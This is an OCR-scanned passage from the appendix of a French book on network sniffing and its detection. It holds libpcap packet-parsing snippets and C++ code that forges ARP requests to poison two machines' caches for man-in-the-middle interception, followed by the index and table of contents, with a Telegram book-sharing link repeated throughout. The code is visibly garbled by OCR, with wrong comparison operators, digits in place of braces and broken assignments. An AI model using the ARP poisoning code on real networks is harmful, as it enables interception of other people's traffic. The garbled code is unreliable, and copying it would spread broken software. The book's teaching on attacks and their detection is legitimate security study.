pcap_t* m_pPcap_Descripteur ;

struct pcap_pkthdr* header;

const u_char * pkt_data;

ethernet_header ethernet;

ip_header ip;

udp_header udp;
m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat = 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )
{

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
if(ip. proto==0x11)
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{
memcpy(&udp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip
_header), sizeof(udp _header));
m_String.Format(" Le port destination UDP est : %d ",udp. dport) ;

3
3

A.5.14. Identification d’un paquet TCP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;
m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);
if(m_Resultat != 0)
memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
if(ip. proto==0x06) m_String= « Le paquet est de type TCP » ;
}

}

A.5.15. Identification du port source TCP
pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;
m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
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if(ip. proto==0x06)

memcpy(&tcp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip
_header), sizeof(tcp _header));
m_String.Format("Le port source TCP est : %d "tcp. sport) ;

}

A.5.16. Identification du port destination TCP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat = 0)
{

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));

if(ethernet.type==htons(0x0800) )

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
if(ip. proto==0x06)

memcpy(&tcp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip

_header), sizeof(tcp _header));
m_String.Format("' Le port destination TCP est : %d ",tcp. dport) ;

}

A.5.17. Identification des flags SYN et RST dans un paquet TCP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat = 0)
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{

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
if(ip. proto==0x06)

memcpy(&tcp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip
_header), sizeof(tcp _header));

if(tcp.flags==0x02)m_String =" FLAG=SYN " ;

if(tcp.flags==0x04)m_String =" FLAG=RST " ;

}

A.5.18. Identification du numéro d’acquittement dans un paquet TCP

pcap_t* m_pPcap_Descripteur ;
struct pcap_pkthdr* header;
const u_char * pkt_data;
ethernet_header ethernet;
ip_header ip;

m_Resultat=pcap_next_ex(m_pPcap_Descripteur,&header,&pkt_data);

if(m_Resultat != 0)
{

memcpy(&ethernet, pkt_data, sizeof(ethernet_header));
if(ethernet.type==htons(0x0800) )
{

memcpy(&ip, pkt_data+ sizeof(ethernet_header), sizeof(ip _header));
if(ip. proto==0x06)

memcpy(&tcp, pkt_data+ sizeof(ethernet_header)+ sizeof(ip _header),

sizeof(tcp _header));
m_String.Format(" Le numéro d’acquittement est : %d ",tcp. acknum) ;

3
3
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A.6. Programmation d’un sniffer dans un réseau Ethernet commuté
A.6.1. Introduction

L’attaque de corruption du cache ARP et I’activation du routage IP permettent a
une machine de sniffer le trafic entre deux machines cibles dans un réseau commuté.
Le chapitre 6 détaille le principe du sniffing.

Il est important de rappeler que, dans un réseau Ethernet commuté, la mise en
mode promiscuous d’une carte réseau ne permet pas de capturer tout le trafic
circulant dans le réseau car chague machine ne recoit que les paquets qui lui sont
destinés ou les paquets de broadcast et de multicast.

A.6.2. Implémentation de I’attaque de corruption du cache ARP

Ce sont les mémes fonctions de capture que dans le cas d’un réseau partagé.
Mais la machine qui va réaliser le sniffing doit au préalable corrompre le cache ARP
des machines cibles pour que les paquets puissent transiter par elle.

Soit machinel, la machine sniffer, avec respectivement pour adresses MAC et
IP: MACL et IP1. Soit machine2 et machine3, les deux machines cibles, avec
respectivement pour adresses MAC et IP: MAC2, MAC3, IP2 et IP3. Le code
source suivant permet de corrompre le cache ARP de la machine2 avec la fausse
entrée IP3/MACL et le cache ARP de la machine3 avec la fausse entrée IP2/MACL.

Soit la classe CPOISONNING :

Parmi ses variables membres :

u_char m_MACS[6]; 7/ MAC Source ( = MAC1)

u_char m_IPS[4]; // IP Source (IP de machine2)
u_char m_IPD[4]; // 1P Destination (IP de machine3)

Exemple d”affectation des variables membres:

(m_MACS = MAC1 ,m_IPS = 1IP3 ,m_IPD= 1IP2) //corruption du cache de
machine2

(m_MACS = MAC1 ,m_IPS = 1P2 ,m_IPD= 1IP3) //corruption du cache de
machine3

Parmi ses fonctions membres :

void CPOISONNING: :ARP_Request_Send()
{

mac_address *srcmac = new mac_address;
mac_address *destmac_ethernet = new mac_address;
mac_address *destmac_arp = new mac_address;
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ip_address *srcip =new ip_address;
ip_address *destip =new ip_address;

ethernet_header etherneth;
arp_header arph;

u_char pkt[42];

//Association de I"adresse source MAC (MACS)

srcmac->bytel = m_MACS[O0];
srcmac->byte2 = m_MACS[1];
srcmac->byte3 = m_MACS[2];
srcmac->byte4 = m_MACS[3];
srcmac->byte5 = m_MACS[4];
srcmac->byte6 = m_MACS[5];

//Association de I"adresse destination MAC (MACD) pour I"En-téte Ethernet

destmac_ethernet->bytel = OxFF;
destmac_ethernet->byte2 = OxFF;
destmac_ethernet->byte3 = OxFF;
destmac_ethernet->byte4 = OxFF;
destmac_ethernet->byte5 = OxFF;
destmac_ethernet->byte6 = OxFF;

//Association de I"adresse destination MAC (MACD) pour I“En-téte ARP

destmac_arp->bytel = 0x00;
destmac_arp->byte2 = 0x00;
destmac_arp->byte3 = 0x00;
destmac_arp->byte4 = 0x00;
destmac_arp->byte5 = 0x00;
destmac_arp->byte6 = 0x00;

//Association de Il adresse destination 1P (IPD)

destip->bytel = m_IPD[O];
destip->byte2 = m_IPD[1];
destip->byte3 = m_IPD[2];
destip->byte4 = m_IPD[3];

//Association de I"adresse source IP (IPS)

srcip->bytel = m_IPS[0];
srcip->byte2 = m_IPS[1];
srcip->byte3 = m_IPS[2];
srcip->byted4 = m_IPS[3];

//Association de I"En-téte Ethernet
etherneth._macd *destmac_ethernet;
etherneth._macs *srcmac;
etherneth.type htons(0x0806) ;

//Association de I"En-téte ARP
arph._.type_m = htons(0x0001);
arph.type_p = htons(0x0800);
arph_lgr_addr_m = 0x06;
arph._lgr_addr_p 0x04;
arph.operation = htons(0x0001);
arph.macs = *srcmac;

arph.ips = *srcip;
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arph.macd = *destmac_arp;

arph.ipd = *destip;

// Assemblage du paquet

memcpy((void *)(pkt ), &etherneth, sizeof(ethernet_header) );
memcpy((void *)(pkt + sizeof(ethernet_header)), &arph, sizeof(arp_header));

// Envoi du paquet
pcap_sendpacket(m_pPcap_Descripteur, pkt, sizeof( pkt ));

}

Clique ici pour plus de livres : https://t. me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

A

Ace Password Sniffer 110, 130, 249
adresse
broadcast 58, 150
MAC 21-23, 93, 117, 122, 140, 142,
147-150, 153, 164, 166, 168, 172,
175, 176, 180-184, 194, 199-2009,
212, 219-222, 225, 227, 232, 234,
237, 239, 241, 243
multicast 149, 169, 170, 174
Angst 211, 250
attaque
de déni de service 60, 61, 64, 69, 201
de détournement de session 64
de saturation de mémoire 67
du Syn flooding 60

C

cache ARP 35, 37, 55, 90, 93, 140, 147,
175-185, 188-191, 202-204, 207, 211,
212, 216-223, 236-241, 244, 245

ARP cache poisoning 55, 90, 175,
202
ARP gratuit 36, 37
ARP spoofing 219, 248
canal
de commandes 99, 101, 136, 137
de données 99, 101, 102, 137
clonage de MAC 207, 222

Index

CommView 57, 106-109, 116-122, 131,
137-141, 144, 150, 151, 153, 179, 196,
203, 225-228, 232, 234, 242, 249, 250

corruption des caches ARP 175, 202, 215,
223, 244

CPM (check promiscuous mode) 156-160

D

déni de service (DoS) 55-63, 66, 82, 126,
137, 138, 198, 201, 209, 212, 213, 223,
253

voir aussi attaque de déni de service

DHCP (dynamic host configuration
protocol) 116, 222

Dsniff 104, 193-195, 209, 210, 250

E

Ethereal 105, 106, 109, 110, 151, 159,
161, 193, 249
Ettercap 210, 211, 250

F

FDDI (fiber distributed data interface)
16, 18, 20
filtre
logiciel 148-150, 163, 166-169, 173,
174, 181, 190
matériel 148-151, 163, 166, 169, 172,
180, 181

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

278 L’espionnage dans les réseaux TCP/IP

firewall (pare-feu) 12, 58, 59, 61, 81, 121,
156, 190, 254

H, 1

half-open connection 57, 141

honey pots (méthode, voir méthode pots
de miel) 155

hub 11, 19, 21, 23, 163, 194, 195, 199,
201, 210, 212

IP spoofing 55, 81

IPEnableRouting 197

M

MAC binding 222
MAC Changer 207, 209, 251
MAC cloning 207, 222
MiM (man-in-the-middle) 203, 204, 211,
212, 250
méthode
de latence 162, 188, 190, 191
du DNS 150, 151, 188, 190
pots de miel 155
mode
normal 92-94, 99-101, 122, 147, 151,
154, 157-159, 162-166, 168-172,
174, 175, 180-183
promiscuous 92-95, 106, 118, 122,
147-175, 179-187, 191, 193, 202,
203, 212
monitoring port 163

N

NetBios 55, 76, 78, 81
NIC (network interface card) 16, 21, 32,
92, 117

P

paquet ICMP de déviation 143, 144, 196

Parasite 211, 212, 250

ping ICMP 152-154, 162-167, 185, 188,
223-235, 244, 245

port binding 222
port mirroring 163
port security 222
Proxy ARP 36

R

RARP 26, 34, 36, 116, 222
requéte DNS inverse 151, 155
RTT (round trip time) 162

S

SMAC 208, 209, 251
Snarp 212, 250
Sniffer Pro 101, 106, 109, 115, 116, 125-
127, 131, 134-137, 154, 193, 235, 249
sniffing
actif 23, 193-195, 215
passif 21, 215
SNMP (simple network management
protocol) 108, 116, 199, 210
Snort 104, 109, 118, 221, 249, 250, 254
SPAN port 163
switch 11, 22, 23, 93, 163, 194, 195, 212,
223, 238-240, 243
switch jamming 195

T, U

table CAM 23, 194, 223, 238-240, 243

Taranis 211, 248, 250

token-ring 16-20, 27, 34, 40

TTL (time-to-live) 39, 223, 231-235, 244,
245

Unicode 55, 72-76, 255

W, Z

Winarp_mim 204-206, 209, 250
Winarp_sk 179, 211

WinPcap 107, 174, 175, 204
WinSniffer 130

ZWEKNU 212, 250

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

	TABLE DES MATIERES
	AVANT-PROPOS
	CHAPITRE 1 Les réseaux locaux Ethernet 
et les protocoles TCP/IP
	1.1.
Les réseaux locaux
	1.1.1.
Les composants matériels d’un réseau local
	1.1.2.
Topologies des réseaux locaux
	1.1.3.
Les réseaux Ethernet partagés
	1.1.4.
Les réseaux Ethernet commutés
	1.1.5.
Les routeurs

	1.2.
Les protocoles TCP/IP
	1.2.1.
Avantages des protocoles TCP/IP
	1.2.2.
Architecture des protocoles TCP/IP
	1.2.3.
Encapsulation
	1.2.4.
Démultiplexage
	1.2.5.
L’adressage Internet
	1.2.6. Principe de routage

	1.2.7.
Les protocoles ARP et RARP
	1.2.8.
Le protocole IP
	1.2.9.
Le protocole ICMP
	1.2.10.
Le modèle client-serveur
	1.2.11.
Le protocole UDP
	1.2.12.
Le protocole TCP
	1.2.13.
Les services Internet

	1.3.
Résumé du chapitre 1

	CHAPITRE 2 Des attaques communes sur les réseaux et les systèmes
	2.1.
Les attaques de déni de service
	2.1.1.
Exemples d’attaques de déni de service
	2.1.2.
Les outils combinés de déni de service
	2.1.3.
L’attaque de déni de service distribué

	2.2.
Le détournement de session
	2.2.1.
Les attaques de détournement de session
	2.2.2.
Les outils de détournement de session

	2.3.
Les attaques par saturation de mémoire
	2.3.1.
La recherche des vulnérabilités de saturation de mémoire
	2.3.2.
Les différents types d’attaque de saturation de mémoire

	2.4.
Les attaques des mots de passe
	2.4.1.
Problème des mots de passe par défaut
	2.4.2.
L’obtention des mots de passe par script
	2.4.3.
Le craquage et le stockage des mots de passe
	2.4.4.
Les techniques de craquage des mots de passe
	2.4.5.
Les outils de craquage des mots de passe

	2.5.
L’attaque Unicode sur les serveurs web Microsoft IIS
	2.5.1.
Trouver un serveur web IIS vulnérable

	2.6.
L’attaque de NetBios : accès aux fichiers partagés
	2.6.1.
Utilisation des commandes DOS
	2.6.2.
Utilisation de l’outil LANWalk Scanner

	2.7.
Les attaques de la falsification des adresses IP (IP spoofing) et des e-mails
	2.7.1.La falsification des adresses IP et e-mails


	2.8.
Les attaques des chevaux de Troie
	2.9.
Résumé du chapitre 2

	CHAPITRE 3 Les sniffers dans les réseaux partagés

	3.1.
Introduction
	3.2.
Le mode normal et le mode promiscuous des cartes réseau
	3.3.
Le filtrage matériel
	3.3.1.
Unicast
	3.3.2.
Broadcast (adresse de diffusion générale)
	3.3.3.
Multicast
	3.3.4.
Promiscuous

	3.4.
Fonctionnalités d’un sniffer
	3.4.1.
Utilités des sniffers
	3.4.2.
Les dangers et les menaces

	3.5.
Les composantes d’un sniffer
	3.6.
Les librairies logicielles de capture et de génération de paquets
	3.7.
Les protocoles vulnérables au sniffing
	3.7.1.
HTTP
	3.7.2.
Telnet et rlogin
	3.7.3.
SNMP
	3.7.4.
SMTP, POP, FTP, IMAP, NNTP

	3.8.
Les sniffers les plus notoires
	3.8.1.
Ethereal
	3.8.2.
Sniffer Pro
	3.8.3.
CommView
	3.8.4.
TCPdump
	3.8.5.
Snort

	3.9.
 Les sniffers contrôlables à distance
	3.9.1.
Exemple 1 : CommView Remote Agent
	3.9.2.
Utilisation de CommView Remote Agent
	3.9.3.
Contrôle du trafic avec le programme client : le sniffer CommView

	3.10.
 Résumé du chapitre 3

	CHAPITRE 4 Scénarios d’attaques avec des sniffers
	4.1.
Visualisation des connexions réseau
	4.2.
Lecture des e-mails des utilisateurs
	4.3. Récupération des logins et des mots de passe des comptes e-mail des
utilisateurs
	4.4.
Visualisation des sites web visités par les utilisateurs
	4.5.
Récupération des logins et mots de passe des services FTP
	4.6.
Récupération des fichiers texte téléchargés à partir d’un serveur FTP
	4.7.
Les attaques de déni de service (DoS)
	4.7.1.
Exemple 1 : l’attaque Land

	4.8.
La désactivation des connexions TCP
	4.9.
L’attaque de déviation avec un paquet ICMP
	4.10.
Résumé du chapitre 4

	CHAPITRE 5 Les techniques et les outils de détection des sniffers dans les réseaux Ethernet partagés
	5.1.
Le concept du mode promiscuous
	5.2.
Les filtres système
	5.2.1.
Le filtre matériel
	5.2.2
Le filtre logiciel

	5.3.
Les méthodes de détection des sniffers dans les réseaux Ethernet partagés
	5.3.1.
La méthode du DNS
	5.3.2.
La méthode pots de miel (honey pots)
	5.3.3.
La méthode de l’hôte local
	5.3.4.
La méthode de latence
	5.3.5.
La méthode physique
	5.3.6.
La méthode du ping ICMP
	5.3.7.
La méthode de l’ARP
	5.3.8.
Extension de la méthode de l’ARP : la méthode de l’ARP améliorée
	5.3.9.
 La méthode de l’attaque du cache ARP

	5.4.
Les outils de détection des sniffers : les anti-sniffers
	5.4.1.
PromiScan
	5.4.2.
L0pht AntiSniff
	5.4.3.
Advanced AntiSniffer

	5.5.
Leurrer les anti-sniffers : les anti-anti-sniffers
	5.6.
Résumé du chapitre 5

	CHAPITRE 6 Les sniffers 
dans les réseaux commutés
	6.1.
Introduction
	6.2.
Les commutateurs : rappel
	6.3.
Les techniques du sniffing dans les réseaux commutés
	6.3.1.
Le switch jamming
	6.3.2.
La déviation avec un paquet ICMP
	6.3.3.
La reconfiguration du port moniteur/SPAN
	6.3.4.
La manipulation des tables de commutation (les tables CAM)
	6.3.5.
Les techniques de manipulation des caches ARP

	6.4.
Les outils de sniffing
	6.4.1.
Dsniff
	6.4.2.
Ettercap
	6.4.3.
Taranis
	6.4.4.
Angst
	6.4.5.
Winarp-sk
	6.4.6.
ARPoison
	6.4.7.
Parasite
	6.4.8.
Le projet ZWEKNU
	6.4.9.
Snarp

	6.5.
Résumé du chapitre 6

	CHAPITRE 7 Les techniques et les outils de détection des sniffers dans les réseaux commutés
	7.1.
Introduction
	7.2.
Les caches ARP statiques
	7.3.
Mise à jour des caches ARP
	7.4.
Détection de la corruption basée sur l’analyse du trafic
	7.4.1.
Les vulnérabilités du protocole ARP
	7.4.2.
Une approche de détection

	7.5.
La défense contre le clonage MAC (MAC cloning)
	7.6.
Détection des sniffers
	7.6.1.
La détection du routage IP activé
	7.6.2.
La détection de la corruption du cache ARP

	7.7.
Déconnexion des machines sniffeuses
	7.7.1.
Les requêtes ARP falsifiées
	7.7.2. L’attaque de la table CAM du switch


	7.8.
L’outil Advanced AntiSniffer
	7.9.
Résumé du chapitre 7

	BIBLIOGRAPHIE
	ANNEXE
	A.1. Programmation d’un sniffer dans un réseau Ethernet partagé
	A.1.1. Introduction

	A.2. Environnement de programmation
	A.3. Les principales fonctions d’un sniffer
	A.4. Structures des paquets
	A.4.1. Adresse MAC
	A.4.2. Adresse IP
	A.4.3. En-tête Ethernet
	A.4.4. En-tête ARP
	A.4.5. En-tête IP
	A.4.6. En-tête ICMP
	A.4.7. En-tête UDP
	A.4.8. En-tête TCP

	A.5. Exemple d’analyse des paquets
	A.5.1. Identification d’un paquet ARP
	A.5.2. Identification d’une demande ARP (ARP request)
	A.5.3. Identification d’une réponse ARP (ARP reply)
	A.5.4. Identification d’un paquet IP
	A.5.5. Identification du TTL d’un paquet IP
	A.5.6. Identification de l’adresse IP source d’un paquet
	A.5.7. Identification de l’adresse destination IP d’un paquet
	A.5.8. Identification d’un paquet ICMP
	A.5.9. Identification d’un paquet ICMP écho requête (echo request)
	A.5.10. Identification d’un paquet ICMP écho réponse (echo reply)
	A.5.11. Identification d’un paquet UDP
	A.5.12. Identification du port source UDP
	A.5.13. Identification du port destination UDP
	A.5.14. Identification d’un paquet TCP
	A.5.15. Identification du port source TCP
	A.5.16. Identification du port destination TCP
	A.5.17. Identification des flags SYN et RST dans un paquet TCP
	A.5.18. Identification du numéro d’acquittement dans un paquet TCP

	A.6. Programmation d’un sniffer dans un réseau Ethernet commuté
	A.6.1. Introduction
	A.6.2. Implémentation de l’attaque de corruption du cache ARP


	Index

